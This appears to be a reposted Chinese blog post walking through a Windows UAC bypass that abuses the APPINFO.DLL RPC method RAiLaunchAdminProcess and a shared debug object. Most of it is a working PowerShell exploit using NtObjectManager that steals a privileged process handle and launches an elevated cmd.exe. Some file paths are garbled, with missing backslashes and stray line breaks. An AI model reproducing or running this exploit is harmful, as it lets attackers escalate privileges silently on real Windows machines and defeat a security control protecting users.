rpc修改为本地服务器,通过调用Windows本地RPC服务器bypass UAC

备战一个月比赛,导致近期都没啥时间更新博客,正好今天看到一篇通过调用本地RPC服务的文章,觉得非常有意思,就拿来充充博客。

在1.0版本的APPINFO.DLL中的RPC服务调用接口ID为:201ef99a-7fa0-444c-9399-19ba84f12a1a

用RAiLaunchAdminProcess函数调用本地RPC

[

uuid (201ef99a-7fa0-444c-9399-19ba84f12a1a),

version(1.0),

]

longRAiLaunchAdminProcess(

handle_t hBinding,

[in][unique][string] wchar_t*ExecutablePath,

[in][unique][string] wchar_t*CommandLine,

[in] longStartFlags,

[in] longCreateFlags,

[in][string] wchar_t*CurrentDirectory,

[in][string] wchar_t*WindowStation,

[in] struct APP_STARTUP_INFO*StartupInfo,

[in] unsigned __int3264 hWnd,

[in] longTimeout,

[out] struct APP_PROCESS_INFORMATION*ProcessInformation,

[out] long *ElevationType

);

ALPC(高级本地过程调用)调用原理图:

rpc修改为本地服务器,通过调用Windows本地RPC服务器bypass UAC_第1张图片

画的有点水,大概就是如上图所示

UAC步骤

1.利用RAiLaunchAdminProcess设置StartFlags标志为0并设置DEBUG_PROCESS来创建一个新的non-elevated进程。这将在服务器中RPC线程的TEB中初始化debug对象字段,并将其分配给新进程。

2.使用带有返回的进程句柄的NtQueryInformationProcess打开调试对象的句柄。

3.分离调试器并终止不再需要的新进程

4.通过RAiLaunchAdminProcess与StartFlags设置为1来创建一个新的提升进程,设置DEBUG_PROCESS标志 。由于已经初始化了TEB中的debug对象字段,因此将在步骤2中捕获的现有对象分配给了新进程。

5.检索初始调试事件,该事件将返回完整的访问进程句柄。

6.使用新的进程句柄代码,可以将其注入提升的进程中,从而完成UAC Bypass。

首先放上powershell的利用过程:

首先利用powershell的NtObjectManager模块,可以通过

Install-Module "NtObjectManager" -Scope CurrentUser

安装NtObjectManager模块,如果模块存在可以通过以下命令更新

Update-Module -Name NtObjectManager

然后解析APPINFO.DLL提取所有的RPC服务

$rpc = Get-RpcServer "c:windowssystem32appinfo.dll"`| Select-RpcServer -InterfaceId "201ef99a-7fa0-444c-9399-19ba84f12a1a"

可以通过

Get-RpcServerName $rpc

生成一个XML文件

这里用修改后的测试文件

8f900a89c6347c561fdf2122f13be562.png

961ddebeb323a10fe0623af514929fc1.png

201ef99a-7fa0-444c-9399-19ba84f12a1a

1

0

0

RAiLaunchAdminProcess

10

ProcessInformation

0

APP_STARTUP_INFO

2

0

ProcessHandle

APP_PROCESS_INFORMATION

XML

将文件保存为names.xml

Get-Content "names.xml" | Set-RpcServerName $rpc

可以通过上述命令将xml文件内容应用于$rpc对象

最后创建客户端新实例,它生成一个C#源代码,并编译成临时程序集

$client = Get-RpcClient $rpc

可以通过Format-RpcClient函数查看生成的C#源代码

将客户端链接到本地RPC服务器的ALPC端口

Connect-RpcClient $client

接下来定义一个函数,里面实现了RAiLaunchAdminProcess方法的调用,该函数返回一个NtProcess对象,该对象可用于访问创建进程的属性

function Start-Uac {Param(

[Parameter(Mandatory, Position= 0)]

[string]$Executable,

[switch]$RunAsAdmin)$CreateFlags = [NtApiDotNet.Win32.CreateProcessFlags]::DebugProcess -bor`

[NtApiDotNet.Win32.CreateProcessFlags]::UnicodeEnvironment$StartInfo = $client.New.APP_STARTUP_INFO()$result = $client.RAiLaunchAdminProcess($Executable, $Executable,`

[int]$RunAsAdmin.IsPresent, [int]$CreateFlags,`"C:", "WinSta0Default", $StartInfo, 0, -1)if ($result.retval -ne 0) {$ex = [System.ComponentModel.Win32Exception]::new($result.retval)throw $ex}$h = $result.ProcessInformation.ProcessHandle.Value

Get-NtObjectFromHandle $h -OwnsHandle

}

创建一个进程并捕获debug对象,一旦获取调试对象,要将调试器与进程分离。

$p = Start-Uac "c:windowssystem32

otepad.exe"

$dbg = Get-NtDebug -Process $pStop-NtProcess $pRemove-NtDebugProcess $dbg -Process $p

创建一个提升的进程,发现分配给提升进程的调试对象与刚才创建的调试对象相同。现在,我们在调试对象上发出等待,从中可以提取到特权进程句柄。

但因为初始调试的句柄没有完全特权,得使用Copy-NtObject从提升的进程中复制当前进程的伪句柄(-1),从而获取完全特权句柄。

$p = Start-Uac "c:windowssystem32askmgr.exe" -RunAsAdmin$ev = Start-NtDebugWait -Seconds 0 -DebugObject $dbg

$h = [IntPtr]-1

$new_p = Copy-NtObject -SourceProcess $ev.Process -SourceHandle $hRemove-NtDebugProcess $dbg -Process $new_p

此时再以$new_p为父进程生成一个特权权限的cmd进程

New-Win32Process "cmd.exe" -ParentProcess $new_p -CreationFlags NewConsole

rpc修改为本地服务器,通过调用Windows本地RPC服务器bypass UAC_第2张图片

你可能感兴趣的:(rpc修改为本地服务器)